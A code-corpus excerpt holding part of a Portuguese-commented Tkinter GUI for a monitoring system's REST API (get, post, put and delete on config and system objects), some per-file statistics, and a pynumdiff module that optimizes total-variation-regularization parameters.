api_filter, usr_token_key, usr_tokens, api_base_key, api_base) functions.update_api(api_url, frame2) button_build_API = Button(frame3, text="Build API", command=button_build_API) button_build_API.place(x=50, y=10, width=150, height=30) def button_get_json_config(): api_selected_object = str(api_object.get()) type_oper="config" try: list_json = functions.get_json(type_oper, api_methods[int(api_method_radiobutton.get())], api_url, available_objects_config, api_selected_object) except ConnectionError: messagebox.showerror("Conexão", "API Inválida!") except MissingSchema: messagebox.showerror("Conexão", "Monte a API primeiro!") except Exception as e: print(e) messagebox.showerror("Conexão", "Erro desconhecido!") else: # Antes de jogar na tela o JSON ele testa o tamanho, se for muito grande pergunta se quer salvar em arquivo direto if int(list_json[0]) > 50: if messagebox.askyesno("Resposta muito grande", "Gostaria de salvar em arquivo?"): functions.save_file(list_json[1], "json") else: text_area_json.delete(1.0, END) text_area_json.insert(END, list_json[1]) button_get_jason_config = Button(frame3, text="Get JSON Config", command=button_get_json_config) button_get_jason_config.place(x=210, y=10, width=150, height=30) def button_clear_text(): global api_url api_url = "" text_area_json.delete(1.0, END) # text_area_json.insert(END, resposta) button_clear = Button(frame3, text="Clear", command=button_clear_text) button_clear.place(x=370, y=10, width=150, height=30) def button_save_json(): functions.save_file(text_area_json.get(1.0, END), "json") button_save = Button(frame3, text="Save JSON", command=button_save_json) button_save.place(x=50, y=60, width=150, height=30) def button_load_json(): text_area_json.delete(1.0, END) text_area_json.insert(END, json.loads(functions.load_file())) button_load = Button(frame3, text="Load JSON", command=button_load_json) button_load.place(x=210, y=60, width=150, height=30) def button_convert_json(): functions.convert_json() button_convert = Button(frame3, text="JSON -> CSV", command=button_convert_json) button_convert.place(x=370, y=60, width=150, height=30) def button_quit_program(): functions.quit_program(root) button_quit = Button(frame3, text="Quit", command=button_quit_program) button_quit.place(x=800, y=10, width=150, height=30) def draw_buttons_config_post(): for widget in frame2.winfo_children(): widget.destroy() for widget in frame3.winfo_children(): widget.destroy() titulo_show_api = Message(frame2, text="Post API", aspect=400) titulo_show_api.place(x=0, y=0) show_api = Message(frame2, text="", aspect=2050, relief=SUNKEN) show_api.place(x=130, y=0, width=820, height=60) option_available = None if api_object.get() == "config/host": option_available = options_available_config_host["post"] if api_object.get() == "config/hostgroup": option_available = options_available_config_hostgroup["post"] if api_object.get() == "config/service": option_available = options_available_config_service["post"] if api_object.get() == "config/servicegroup": option_available = options_available_config_servicegroup["post"] if api_object.get() == "config/command": option_available = options_available_config_command["post"] if api_object.get() == "config/contact": option_available = options_available_config_contact["post"] if api_object.get() == "config/contactgroup": option_available = options_available_config_contactgroup["post"] if api_object.get() == "config/timeperiod": option_available = options_available_config_timeperiod["post"] y_axis = 80 given_values = list() for i in option_available: tit_option = Message(frame2, text="{}".format(i), aspect=600) tit_option.place(x=1, y=y_axis) option_value = Entry(frame2) option_value.place(x=170, y=y_axis, width=360, height=20) given_values.append(option_value) y_axis += 23 apply_value = IntVar() apply_value_check = Checkbutton(frame2, text="Apply?", variable=apply_value) apply_value_check.place(x=165, y=y_axis) text_area_json = scrolledtext.ScrolledText(frame2, width=50, height=12) text_area_json.place(x=550, y=80) text_area_json.insert(END, "JSON Contents") def button_build_API_config(): functions.update_api_config(functions.build_API_config(api_object, usr_token_key, usr_tokens, api_base_key, api_base, apply_value, option_available, given_values), frame2) button_build_API_config = Button(frame3, text="Build API", command=button_build_API_config) button_build_API_config.place(x=50, y=10, width=150, height=30) def button_post_json_config(): api_selected_object = str(api_object.get()) type_oper="config" api_url_list = functions.build_API_config(api_object, usr_token_key, usr_tokens, api_base_key, api_base, apply_value, option_available, given_values) response_json = functions.post_json(type_oper, api_methods[int(api_method_radiobutton.get())], api_url_list, available_objects_config, api_selected_object) # Antes de jogar na tela o JSON ele testa o tamanho, se for muito grande pergunta se quer salvar em arquivo direto if len(response_json) > 50: if messagebox.askyesno("Resposta muito grande", "Gostaria de salvar em arquivo?"): functions.save_file(response_json, "json") else: text_area_json.delete(1.0, END) text_area_json.insert(END, response_json) button_post_jason_config = Button(frame3, text="Post JSON Config", command=button_post_json_config) button_post_jason_config.place(x=210, y=10, width=150, height=30) def button_clear_text(): text_area_json.delete(1.0, END) # text_area_json.insert(END, resposta) button_clear = Button(frame3, text="Clear Response", command=button_clear_text) button_clear.place(x=370, y=10, width=150, height=30) def button_quit_program(): functions.quit_program(root) button_quit = Button(frame3, text="Quit", command=button_quit_program) button_quit.place(x=800, y=10, width=150, height=30) def draw_buttons_config_put(): for widget in frame2.winfo_children(): widget.destroy() for widget in frame3.winfo_children(): widget.destroy() titulo_show_api = Message(frame2, text="Put API", aspect=400) titulo_show_api.place(x=0, y=0) show_api = Message(frame2, text="", aspect=2050, anchor=W, relief=SUNKEN) show_api.place(x=130, y=0, width=820, height=60) option_available = None if api_object.get() == "config/host": option_available = options_available_config_host["put"] if api_object.get() == "config/hostgroup": option_available = options_available_config_hostgroup["put"] if api_object.get() == "config/service": option_available = options_available_config_service["put"] if api_object.get() == "config/servicegroup": option_available = options_available_config_servicegroup["put"] if api_object.get() == "config/command": option_available = options_available_config_command["put"] if api_object.get() == "config/contact": option_available = options_available_config_contact["put"] if api_object.get() == "config/contactgroup": option_available = options_available_config_contactgroup["put"] if api_object.get() == "config/timeperiod": option_available = options_available_config_timeperiod["put"] y_axis = 80 given_values = list() for i in option_available: tit_option = Message(frame2, text="{}".format(i), aspect=600) tit_option.place(x=1, y=y_axis) option_value = Entry(frame2) option_value.place(x=170, y=y_axis, width=360, height=20) given_values.append(option_value) y_axis += 23 apply_value = IntVar() apply_value_check = Checkbutton(frame2, text="Apply?", variable=apply_value) apply_value_check.place(x=165, y=y_axis) text_area_json = scrolledtext.ScrolledText(frame2, width=50, height=12) text_area_json.place(x=550, y=80) text_area_json.insert(END, "JSON Contents") def button_build_API_config(): functions.update_api_config(functions.build_API_config(api_object, usr_token_key, usr_tokens, api_base_key, api_base, apply_value, option_available, given_values), frame2) button_build_API_config = Button(frame3, text="Build API", command=button_build_API_config) button_build_API_config.place(x=50, y=10, width=150, height=30) def button_put_json_config(): api_selected_object = str(api_object.get()) type_oper="config" #print("API METHOD: {}".format(int(api_method_radiobutton.get())))api_object, api_config_values, usr_token_key, usr_tokens, api_base_key, api_base, apply api_url_list = functions.build_API_config(api_object, usr_token_key, usr_tokens, api_base_key, api_base, apply_value, option_available, given_values) response_json = functions.put_json(type_oper, api_methods[int(api_method_radiobutton.get())], api_url_list, available_objects_config, api_selected_object) # Antes de jogar na tela o JSON ele testa o tamanho, se for muito grande pergunta se quer salvar em arquivo direto if len(response_json) > 50: if messagebox.askyesno("Resposta muito grande", "Gostaria de salvar em arquivo?"): functions.save_file(response_json, "json") else: text_area_json.delete(1.0, END) text_area_json.insert(END, response_json) button_put_jason_config = Button(frame3, text="Put JSON Config", command=button_put_json_config) button_put_jason_config.place(x=210, y=10, width=150, height=30) def button_clear_text(): text_area_json.delete(1.0, END) # text_area_json.insert(END, resposta) button_clear = Button(frame3, text="Clear Response", command=button_clear_text) button_clear.place(x=370, y=10, width=150, height=30) def button_quit_program(): functions.quit_program(root) button_quit = Button(frame3, text="Quit", command=button_quit_program) button_quit.place(x=800, y=10, width=150, height=30) def draw_buttons_config_delete(): for widget in frame2.winfo_children(): widget.destroy() for widget in frame3.winfo_children(): widget.destroy() titulo_show_api = Message(frame2, text="Delete API", aspect=400) titulo_show_api.place(x=0, y=0) show_api = Message(frame2, text="", aspect=2050, anchor=W, relief=SUNKEN) show_api.place(x=130, y=0, width=820, height=60) option_available = None if api_object.get() == "config/host": option_available = options_available_config_host["delete"] if api_object.get() == "config/hostgroup": option_available = options_available_config_hostgroup["delete"] if api_object.get() == "config/service": option_available = options_available_config_service["delete"] if api_object.get() == "config/servicegroup": option_available = options_available_config_servicegroup["delete"] if api_object.get() == "config/command": option_available = options_available_config_command["delete"] if api_object.get() == "config/contact": option_available = options_available_config_contact["delete"] if api_object.get() == "config/contactgroup": option_available = options_available_config_contactgroup["delete"] if api_object.get() == "config/timeperiod": option_available = options_available_config_timeperiod["delete"] y_axis = 80 given_values = list() for i in option_available: tit_option = Message(frame2, text="{}".format(i), aspect=600) tit_option.place(x=1, y=y_axis) option_value = Entry(frame2) option_value.place(x=170, y=y_axis, width=360, height=20) given_values.append(option_value) y_axis += 23 apply_value = IntVar() apply_value_check = Checkbutton(frame2, text="Apply?", variable=apply_value) apply_value_check.place(x=165, y=y_axis) text_area_json = scrolledtext.ScrolledText(frame2, width=50, height=12) text_area_json.place(x=550, y=80) text_area_json.insert(END, "JSON Contents") def button_build_API_config(): functions.update_api_config(functions.build_API_config(api_object, usr_token_key, usr_tokens, api_base_key, api_base, apply_value, option_available, given_values), frame2) button_build_API_config = Button(frame3, text="Build API", command=button_build_API_config) button_build_API_config.place(x=50, y=10, width=150, height=30) def button_delete_json_config(): api_selected_object = str(api_object.get()) type_oper="config" #print("API METHOD: {}".format(int(api_method_radiobutton.get())))api_object, api_config_values, usr_token_key, usr_tokens, api_base_key, api_base, apply api_url_list = functions.build_API_config(api_object, usr_token_key, usr_tokens, api_base_key, api_base, apply_value, option_available, given_values) response_json = functions.delete_json(type_oper, api_methods[int(api_method_radiobutton.get())], api_url_list, available_objects_config, api_selected_object) # Antes de jogar na tela o JSON ele testa o tamanho, se for muito grande pergunta se quer salvar em arquivo direto if len(response_json) > 50: if messagebox.askyesno("Resposta muito grande", "Gostaria de salvar em arquivo?"): functions.save_file(response_json, "json") else: text_area_json.delete(1.0, END) text_area_json.insert(END, response_json) button_put_jason_config = Button(frame3, text="Delete JSON Config", command=button_delete_json_config) button_put_jason_config.place(x=210, y=10, width=150, height=30) def button_clear_text(): text_area_json.delete(1.0, END) # text_area_json.insert(END, resposta) button_clear = Button(frame3, text="Clear Response", command=button_clear_text) button_clear.place(x=370, y=10, width=150, height=30) def button_quit_program(): functions.quit_program(root) button_quit = Button(frame3, text="Quit", command=button_quit_program) button_quit.place(x=800, y=10, width=150, height=30) # Visualização principal api_method_radiobutton = IntVar() api_method_radiobutton.set(0) tit_api_method = Message(frame1, text="API Method", aspect=400) tit_api_method.place(x=1, y=10) Radiobutton(frame1, text="Get", variable = api_method_radiobutton, command=draw_buttons_config_get, value = 0).place(x=130, y=10) Radiobutton(frame1, text="Post", variable = api_method_radiobutton, command=draw_buttons_config_post, value = 1).place(x=230, y=10) Radiobutton(frame1, text="Put", variable = api_method_radiobutton, command=draw_buttons_config_put, value = 2).place(x=330, y=10) Radiobutton(frame1, text="Delete", variable = api_method_radiobutton, command=draw_buttons_config_delete, value = 3).place(x=430, y=10) api_methods = ["get", "post", "put", "delete"] # Desenhando os botoes do get como padrão draw_buttons_config_get() def button_quit_program(): functions.quit_program(root) button_quit = Button(frame3, text="Quit", command=button_quit_program) button_quit.place(x=800, y=10, width=150, height=30) # Desenha os widgets de botões para a visão de system def draw_interface_system(root, frame0, frame1, frame2, frame3, usr_tokens, usr_token_key, api_base, api_base_key): for widget in frame1.winfo_children(): widget.destroy() for widget in frame2.winfo_children(): widget.destroy() for widget in frame3.winfo_children(): widget.destroy() # Listas com as opções de systemuração available_objects_system = objects.available_objects_system options_available_system_status = objects.options_available_system_status options_available_system_statusdetail = objects.options_available_system_statusdetail options_available_system_info = objects.options_available_system_info options_available_system_command = objects.options_available_system_command options_available_system_applyconfig = objects.options_available_system_applyconfig options_available_system_importconfig = objects.options_available_system_importconfig options_available_system_corecommand = objects.options_available_system_corecommand options_available_system_scheduleddowntime = objects.options_available_system_scheduleddowntime options_available_system_user = objects.options_available_system_user options_available_system_authserver = objects.options_available_system_authserver api_object = StringVar() # Definido api_object default copiando a key de available_objects api_object.set("system/status") tit_api_object_menu_system = Message(frame1, text="API Objects", aspect=400) tit_api_object_menu_system.place(x=1, y=36) api_object_menu_system = OptionMenu(frame1, api_object, *available_objects_system) api_object_menu_system.place(x=128, y=36) def draw_buttons_system_get(): #global api_filter for widget in frame2.winfo_children(): widget.destroy() for widget in frame3.winfo_children(): widget.destroy() tit_api_filter = Message(frame2, text="Search Parameters", aspect=600) tit_api_filter.place(x=1, y=0) api_filter = Entry(frame2) api_filter.place(x=130, y=0, width=400, height=20) #api_filter.insert(END, "name=lk:apple") titulo_show_api = Message(frame2, text="Get API", aspect=400) titulo_show_api.place(x=1, y=40) show_api = Message(frame2, aspect=2050, anchor=W, relief=SUNKEN) show_api.place(x=130, y=45, width=820, height=40) text_area_json = scrolledtext.ScrolledText(frame2, width=111, height=12) text_area_json.place(x=50, y=100) text_area_json.insert(END, "JSON Contents") def button_build_API(): global api_url api_url = functions.build_API(api_object, api_filter, usr_token_key, usr_tokens, api_base_key, api_base) functions.update_api(api_url, frame2) button_build_API = Button(frame3, text="Build API", command=button_build_API) button_build_API.place(x=50, y=10, width=150, height=30) def button_get_json_system(): api_selected_object = str(api_object.get()) type_oper="system" try: list_json = functions.get_json_system(type_oper, api_methods[int(api_method_radiobutton.get())], api_url, available_objects_system, api_selected_object) except ConnectionError: messagebox.showerror("Conexão", "API Inválida!") except MissingSchema: messagebox.showerror("Conexão", "Monte a API primeiro!") except Exception as e: print(e) messagebox.showerror("Conexão", "Erro desconhecido!") else: text_area_json.delete(1.0, END) text_area_json.insert(END, list_json) button_get_jason_system = Button(frame3, text="Get JSON system", command=button_get_json_system) button_get_jason_system.place(x=210, y=10, width=150, height=30) def button_clear_text(): global api_url api_url = "" text_area_json.delete(1.0, END) # text_area_json.insert(END, resposta) button_clear = Button(frame3, text="Clear", command=button_clear_text) button_clear.place(x=370, y=10, width=150, height=30) def button_save_json(): functions.save_file(text_area_json.get(1.0, END), "json") button_save = Button(frame3, text="Save JSON", command=button_save_json) button_save.place(x=50, y=60, width=150, height=30) def button_load_json(): text_area_json.delete(1.0, END) text_area_json.insert(END, json.loads(functions.load_file())) button_load = Button(frame3, text="Load JSON", command=button_load_json) button_load.place(x=210, y=60, width=150, height=30) def button_convert_json(): functions.convert_json() button_convert = Button(frame3, text="JSON -> CSV", command=button_convert_json) button_convert.place(x=370, y=60, width=150, height=30) def button_quit_program(): functions.quit_program(root) button_quit = Button(frame3, text="Quit", command=button_quit_program) button_quit.place(x=800, y=10, width=150, height=30) def draw_buttons_system_post(): for widget in frame2.winfo_children(): widget.destroy() for widget in frame3.winfo_children(): widget.destroy() titulo_show_api = Message(frame2, text="Post API", aspect=400) titulo_show_api.place(x=0, y=0) show_api = Message(frame2, text="", aspect=2050, relief=SUNKEN) show_api.place(x=130, y=0, width=820, height=60) option_available = None if api_object.get() == "system/status": option_available = options_available_system_status["post"] if api_object.get() == "system/statusdetails": option_available = options_available_system_statusdetail["post"] if api_object.get() == "system/info": option_available = options_available_system_info["post"] if api_object.get() == "system/command": option_available = options_available_system_command["post"] if api_object.get() == "system/applyconfig": option_available = options_available_system_applyconfig["post"] if api_object.get() == "system/importconfig": option_available = options_available_system_importconfig["post"] if api_object.get() == "system/corecommand": option_available = options_available_system_corecommand["post"] if api_object.get() == "system/scheduleddowntime": option_available = options_available_system_scheduleddowntime["post"] if api_object.get() == "system/user": option_available = options_available_system_user["post"] if api_object.get() == "system/authserver": option_available = options_available_system_authserver["post"] y_axis = 80 given_values = list() for i in option_available: tit_option = Message(frame2, text="{}".format(i), aspect=600) tit_option.place(x=1, y=y_axis) option_value = Entry(frame2) option_value.place(x=170, y=y_axis, width=360, height=20) given_values.append(option_value) y_axis += 23 apply_value = IntVar() apply_value_check = Checkbutton(frame2, text="Apply?", variable=apply_value) apply_value_check.place(x=165, y=y_axis) text_area_json = scrolledtext.ScrolledText(frame2, width=50, height=12) text_area_json.place(x=550, y=80) text_area_json.insert(END, "JSON Contents") def button_build_API_system(): functions.update_api_system(functions.build_API_system(api_object, usr_token_key, usr_tokens, api_base_key, api_base, apply_value, option_available, given_values), frame2) button_build_API_system = Button(frame3, text="Build API", command=button_build_API_system) button_build_API_system.place(x=50, y=10, width=150, height=30) def button_post_json_system(): api_selected_object = str(api_object.get()) type_oper="system" api_url_list = functions.build_API_system(api_object, usr_token_key, usr_tokens, api_base_key, api_base, apply_value, option_available, given_values) response_json = functions.post_json(type_oper, api_methods[int(api_method_radiobutton.get())], api_url_list, available_objects_system, api_selected_object) # Antes de jogar na tela o JSON ele testa o tamanho, se for muito grande pergunta se quer salvar em arquivo direto if len(response_json) > 50: if messagebox.askyesno("Resposta muito grande", "Gostaria de salvar em arquivo?"): functions.save_file(response_json, "json") else: text_area_json.delete(1.0, END) text_area_json.insert(END, response_json) button_post_jason_system = Button(frame3, text="Post JSON system", command=button_post_json_system) button_post_jason_system.place(x=210, y=10, width=150, height=30) def button_clear_text(): text_area_json.delete(1.0, END) # text_area_json.insert(END, resposta) button_clear = Button(frame3, text="Clear Response", command=button_clear_text) button_clear.place(x=370, y=10, width=150, height=30) def button_quit_program(): functions.quit_program(root) button_quit = Button(frame3, text="Quit", command=button_quit_program) button_quit.place(x=800, y=10, width=150, height=30) def draw_buttons_system_put(): for widget in frame2.winfo_children(): widget.destroy() for widget in frame3.winfo_children(): widget.destroy() titulo_show_api = Message(frame2, text="Put API", aspect=400) titulo_show_api.place(x=0, y=0) show_api = Message(frame2, text="", aspect=2050, anchor=W, relief=SUNKEN) show_api.place(x=130, y=0, width=820, height=60) option_available = None if api_object.get() == "system/status": option_available = options_available_system_status["put"] if api_object.get() == "system/statusdetails": option_available = options_available_system_statusdetail["put"] if api_object.get() == "system/info": option_available = options_available_system_info["put"] if api_object.get() == "system/command": option_available = options_available_system_command["put"] if api_object.get() == "system/applyconfig": option_available = options_available_system_applyconfig["put"] if api_object.get() == "system/importconfig": option_available = options_available_system_importconfig["put"] if api_object.get() == "system/corecommand": option_available = options_available_system_corecommand["put"] if api_object.get() == "system/scheduleddowntime": option_available = options_available_system_scheduleddowntime["put"] if api_object.get() == "system/user": option_available = options_available_system_user["put"] if api_object.get() == "system/authserver": option_available = options_available_system_authserver["put"] y_axis = 80 given_values = list() for i in option_available: tit_option = Message(frame2, text="{}".format(i), aspect=600) tit_option.place(x=1, y=y_axis) option_value = Entry(frame2) option_value.place(x=170, y=y_axis, width=360, height=20) given_values.append(option_value) y_axis += 23 apply_value = IntVar() apply_value_check = Checkbutton(frame2, text="Apply?", variable=apply_value) apply_value_check.place(x=165, y=y_axis) text_area_json = scrolledtext.ScrolledText(frame2, width=50, height=12) text_area_json.place(x=550, y=80) text_area_json.insert(END, "JSON Contents") def button_build_API_system(): functions.update_api_system(functions.build_API_system(api_object, usr_token_key, usr_tokens, api_base_key, api_base, apply_value, option_available, given_values), frame2) button_build_API_system = Button(frame3, text="Build API", command=button_build_API_system) button_build_API_system.place(x=50, y=10, width=150, height=30) def button_put_json_system(): api_selected_object = str(api_object.get()) type_oper="system" #print("API METHOD: {}".format(int(api_method_radiobutton.get())))api_object, api_system_values, usr_token_key, usr_tokens, api_base_key, api_base, apply api_url_list = functions.build_API_system(api_object, usr_token_key, usr_tokens, api_base_key, api_base, apply_value, option_available, given_values) response_json = functions.put_json(type_oper, api_methods[int(api_method_radiobutton.get())], api_url_list, available_objects_system, api_selected_object) # Antes de jogar na tela o JSON ele testa o tamanho, se for muito grande pergunta se quer salvar em arquivo direto if len(response_json) > 50: if messagebox.askyesno("Resposta muito grande", "Gostaria de salvar em arquivo?"): functions.save_file(response_json, "json") else: text_area_json.delete(1.0, END) text_area_json.insert(END, response_json) button_put_jason_system = Button(frame3, text="Put JSON system", command=button_put_json_system) button_put_jason_system.place(x=210, y=10, width=150, height=30) def button_clear_text(): text_area_json.delete(1.0, END) # text_area_json.insert(END, resposta) button_clear = Button(frame3, text="Clear Response", command=button_clear_text) button_clear.place(x=370, y=10, width=150, height=30) def button_quit_program(): functions.quit_program(root) button_quit = Button(frame3, text="Quit", command=button_quit_program) button_quit.place(x=800, y=10, width=150, height=30) def draw_buttons_system_delete(): for widget in frame2.winfo_children(): widget.destroy() for widget in frame3.winfo_children(): widget.destroy() titulo_show_api = Message(frame2, text="Delete API", aspect=400) titulo_show_api.place(x=0, y=0) show_api = Message(frame2, text="", aspect=2050, anchor=W, relief=SUNKEN) show_api.place(x=130, y=0, width=820, height=60) option_available = None if api_object.get() == "system/status": option_available = options_available_system_status["delete"] if api_object.get() == "system/statusdetails": option_available = options_available_system_statusdetail["delete"] if api_object.get() == "system/info": option_available = options_available_system_info["delete"] if api_object.get() == "system/command": option_available = options_available_system_command["delete"] if api_object.get() == "system/applyconfig": option_available = options_available_system_applyconfig["delete"] if api_object.get() == "system/importconfig": option_available = options_available_system_importconfig["delete"] if api_object.get() == "system/corecommand": option_available = options_available_system_corecommand["delete"] if api_object.get() == "system/scheduleddowntime": option_available = options_available_system_scheduleddowntime["delete"] if api_object.get() == "system/user": option_available = options_available_system_user["delete"] if api_object.get() == "system/authserver": option_available = options_available_system_authserver["delete"] y_axis = 80 given_values = list() for i in option_available: tit_option = Message(frame2, text="{}".format(i), aspect=600) tit_option.place(x=1, y=y_axis) option_value = Entry(frame2) option_value.place(x=170, y=y_axis, width=360, height=20) given_values.append(option_value) y_axis += 23 apply_value = IntVar() apply_value_check = Checkbutton(frame2, text="Apply?", variable=apply_value) apply_value_check.place(x=165, y=y_axis) text_area_json = scrolledtext.ScrolledText(frame2, width=50, height=12) text_area_json.place(x=550, y=80) text_area_json.insert(END, "JSON Contents") def button_build_API_system(): functions.update_api_system(functions.build_API_system(api_object, usr_token_key, usr_tokens, api_base_key, api_base, apply_value, option_available, given_values), frame2) button_build_API_system = Button(frame3, text="Build API", command=button_build_API_system) button_build_API_system.place(x=50, y=10, width=150, height=30) def button_delete_json_system(): api_selected_object = str(api_object.get()) type_oper="system" #print("API METHOD: {}".format(int(api_method_radiobutton.get())))api_object, api_system_values, usr_token_key, usr_tokens, api_base_key, api_base, apply api_url_list = functions.build_API_system(api_object, usr_token_key, usr_tokens, api_base_key, api_base, apply_value, option_available, given_values) response_json = functions.delete_json(type_oper, api_methods[int(api_method_radiobutton.get())], api_url_list, available_objects_system, api_selected_object) # Antes de jogar na tela o JSON ele testa o tamanho, se for muito grande pergunta se quer salvar em arquivo direto if len(response_json) > 50: if messagebox.askyesno("Resposta muito grande", "Gostaria de salvar em arquivo?"): functions.save_file(response_json, "json") else: text_area_json.delete(1.0, END) text_area_json.insert(END, response_json) button_put_jason_system = Button(frame3, text="Delete JSON system", command=button_delete_json_system) button_put_jason_system.place(x=210, y=10, width=150, height=30) def button_clear_text(): text_area_json.delete(1.0, END) # text_area_json.insert(END, resposta) button_clear = Button(frame3, text="Clear Response", command=button_clear_text) button_clear.place(x=370, y=10, width=150, height=30) def button_quit_program(): functions.quit_program(root) button_quit = Button(frame3, text="Quit", command=button_quit_program) button_quit.place(x=800, y=10, width=150, height=30) # Visualização principal api_method_radiobutton = IntVar() api_method_radiobutton.set(0) tit_api_method = Message(frame1, text="API Method", aspect=400) tit_api_method.place(x=1, y=10) Radiobutton(frame1, text="Get", variable = api_method_radiobutton, command=draw_buttons_system_get, value = 0).place(x=130, y=10) Radiobutton(frame1, text="Post", variable = api_method_radiobutton, command=draw_buttons_system_post, value = 1).place(x=230, y=10) Radiobutton(frame1, text="Put", variable = api_method_radiobutton, command=draw_buttons_system_put, value = 2).place(x=330, y=10) Radiobutton(frame1, text="Delete", variable = api_method_radiobutton, command=draw_buttons_system_delete, value = 3).place(x=430, y=10) api_methods = ["get", "post", "put", "delete"] # Desenhando os botoes do get como padrão draw_buttons_system_get() def button_quit_program(): functions.quit_program(root) button_quit = Button(frame3, text="Quit", command=button_quit_program) button_quit.place(x=800, y=10, width=150, height=30)
49.230519
184
0.66238
5,864
45,489
4.8397
0.043315
0.024101
0.030444
0.026638
0.913918
0.905004
0.890204
0.889253
0.881994
0.878436
0
0.034414
0.237926
45,489
924
185
49.230519
0.784255
0.060124
0
0.778571
0
0
0.065156
0.001723
0
0
0
0
0
1
0.082857
false
0
0.022857
0
0.105714
0.004286
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
dfdff78e37a0ef68fde5d90d3e357bd8acb95f35
6,724
py
Python
pynumdiff/optimize/total_variation_regularization/__total_variation_regularization__.py
luckystarufo/PyNumDiff
99ffeb0c118c6de715414af042020bb268941c99
[ "MIT" ]
60
2020-09-07T20:39:04.000Z
2022-03-31T05:49:56.000Z
pynumdiff/optimize/total_variation_regularization/__total_variation_regularization__.py
luckystarufo/PyNumDiff
99ffeb0c118c6de715414af042020bb268941c99
[ "MIT" ]
15
2020-11-09T03:58:39.000Z
2022-03-15T16:35:31.000Z
pynumdiff/optimize/total_variation_regularization/__total_variation_regularization__.py
luckystarufo/PyNumDiff
99ffeb0c118c6de715414af042020bb268941c99
[ "MIT" ]
8
2021-02-12T01:50:14.000Z
2022-03-21T22:48:54.000Z
""" functions for optimizing total variation regularization """ import pynumdiff.total_variation_regularization from pynumdiff.optimize.__optimize__ import __optimize__ #################### # Helper functions # #################### def __optimize_tvr__(func, x, dt, params, options, dxdt_truth, tvgamma, padding, optimization_method, optimization_options, metric): """ :param func: :param x: :param dt: :param params: :param options: :param dxdt_truth: :param tvgamma: :param padding: :param optimization_method: :param optimization_options: :param metric: :return: """ # initial condition if params is None: params = [[1e-2], [1e-1], [1], [10], [100], [1000]] # param types and bounds params_types = [float, ] params_low = [1e-4, ] params_high = [1e7, ] # optimize args = [func, x, dt, params_types, params_low, params_high, options, dxdt_truth, tvgamma, padding, metric] opt_params, opt_val = __optimize__(params, args, optimization_method=optimization_method, optimization_options=optimization_options) return opt_params, opt_val ###################### # Optimize functions # ###################### def iterative_velocity(x, dt, params=None, options={'cg_maxiter': 1000, 'scale': 'small'}, dxdt_truth=None, tvgamma=1e-2, padding='auto', optimization_method='Nelder-Mead', optimization_options={'maxiter': 20}, metric='rmse'): """ Optimize the parameters for pynumdiff.total_variation_regularization.iterative_velocity See pynumdiff.optimize.__optimize__ and pynumdiff.total_variation_regularization.iterative_velocity for detailed documentation. """ # optimize func = pynumdiff.total_variation_regularization.iterative_velocity # initial condition if params is None: params = [[1, 1e-2], [1, 1e-1], [1, 1], [1, 10], [1, 100], [1, 1000]] # param types and bounds params_types = [int, float, ] params_low = [1, 1e-4, ] params_high = [100, 1e7, ] # optimize args = [func, x, dt, params_types, params_low, params_high, options, dxdt_truth, tvgamma, padding, metric] opt_params, opt_val = __optimize__(params, args, optimization_method=optimization_method, optimization_options=optimization_options) return opt_params, opt_val def velocity(x, dt, params=None, options={'solver': 'MOSEK'}, dxdt_truth=None, tvgamma=1e-2, padding='auto', optimization_method='Nelder-Mead', optimization_options={'maxiter': 20}, metric='rmse'): """ Optimize the parameters for pynumdiff.total_variation_regularization.velocity See pynumdiff.optimize.__optimize__ and pynumdiff.total_variation_regularization.velocity for detailed documentation. """ # optimize func = pynumdiff.total_variation_regularization.velocity opt_params, opt_val = __optimize_tvr__(func, x, dt, params, options, dxdt_truth, tvgamma, padding, optimization_method, optimization_options, metric) return opt_params, opt_val def acceleration(x, dt, params=None, options={'solver': 'MOSEK'}, dxdt_truth=None, tvgamma=1e-2, padding='auto', optimization_method='Nelder-Mead', optimization_options={'maxiter': 20}, metric='rmse'): """ Optimize the parameters for pynumdiff.total_variation_regularization.acceleration See pynumdiff.optimize.__optimize__ and pynumdiff.total_variation_regularization.acceleration for detailed documentation. """ # optimize func = pynumdiff.total_variation_regularization.acceleration opt_params, opt_val = __optimize_tvr__(func, x, dt, params, options, dxdt_truth, tvgamma, padding, optimization_method, optimization_options, metric) return opt_params, opt_val def jerk(x, dt, params=None, options={'solver': 'MOSEK'}, dxdt_truth=None, tvgamma=1e-2, padding='auto', optimization_method='Nelder-Mead', optimization_options={'maxiter': 20}, metric='rmse'): """ Optimize the parameters for pynumdiff.total_variation_regularization.jerk See pynumdiff.optimize.__optimize__ and pynumdiff.total_variation_regularization.jerk for detailed documentation. """ # optimize function = pynumdiff.total_variation_regularization.jerk opt_params, opt_val = __optimize_tvr__(function, x, dt, params, options, dxdt_truth, tvgamma, padding, optimization_method, optimization_options, metric) return opt_params, opt_val def jerk_sliding(x, dt, params=None, options={'solver': 'MOSEK'}, dxdt_truth=None, tvgamma=1e-2, padding='auto', optimization_method='Nelder-Mead', optimization_options={'maxiter': 20}, metric='rmse'): """ Optimize the parameters for pynumdiff.total_variation_regularization.jerk_sliding See pynumdiff.optimize.__optimize__ and pynumdiff.total_variation_regularization.jerk_sliding for detailed documentation. """ # optimize func = pynumdiff.total_variation_regularization.jerk_sliding opt_params, opt_val = __optimize_tvr__(func, x, dt, params, options, dxdt_truth, tvgamma, padding, optimization_method, optimization_options, metric) return opt_params, opt_val def smooth_acceleration(x, dt, params=None, options={'solver': 'MOSEK'}, dxdt_truth=None, tvgamma=1e-2, padding='auto', optimization_method='Nelder-Mead', optimization_options={'maxiter': 20}, metric='rmse'): """ Optimize the parameters for pynumdiff.total_variation_regularization.smooth_acceleration See pynumdiff.optimize.__optimize__ and pynumdiff.total_variation_regularization.smooth_acceleration for detailed documentation. """ # initial condition if params is None: gammas = [1e-2, 1e-1, 1, 10, 100, 1000] window_sizes = [1, 10, 30, 50, 90, 130] params = [] for gamma in gammas: for window_size in window_sizes: params.append([gamma, window_size]) # param types and bounds params_types = [int, int] params_low = [1e-4, 1] params_high = [1e7, 1e3] # optimize func = pynumdiff.total_variation_regularization.smooth_acceleration args = [func, x, dt, params_types, params_low, params_high, options, dxdt_truth, tvgamma, padding, metric] opt_params, opt_val = __optimize__(params, args, optimization_method=optimization_method, optimization_options=optimization_options) return opt_params, opt_val
41.251534
132
0.679209
748
6,724
5.81016
0.113636
0.064427
0.128854
0.161758
0.852278
0.83364
0.777036
0.73746
0.730097
0.696503
0
0.020135
0.209697
6,724
162
133
41.506173
0.797704
0.25461
0
0.477612
0
0
